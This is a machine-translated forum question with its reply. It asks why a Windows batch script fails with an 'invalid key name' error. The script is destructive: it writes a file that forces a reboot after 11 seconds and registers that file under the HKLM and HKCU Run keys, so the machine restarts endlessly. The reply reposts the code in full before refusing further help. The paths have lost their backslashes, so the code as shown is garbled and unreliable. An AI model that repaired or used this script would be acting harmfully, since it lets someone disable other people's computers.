错误: 无效的键名,运行 2003 批处理文件时出现 Ocurrs



好的,所以我曾经在 2003 年制作批处理文件,这是一段旧代码

echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v /t   reg_sz /d c:windowshartlell.bat /f
echo RIP
PAUSE     

当我运行它时,我收到错误:它们两个的键名称无效

感谢

PS 顺便说一句,我的观众希望我摧毁我的电脑,所以当你测试它时,它会在虚拟机中运行

作为我评论的后续,这是重新添加"损坏"键的代码:

echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v /t   reg_sz /d c:windowshartlell.bat /f
echo RIP
PAUSE

我不会对此脚本提供任何进一步的帮助,该脚本在您的问题范围之外还有其他问题,因为它本质上是恶意的。

最新更新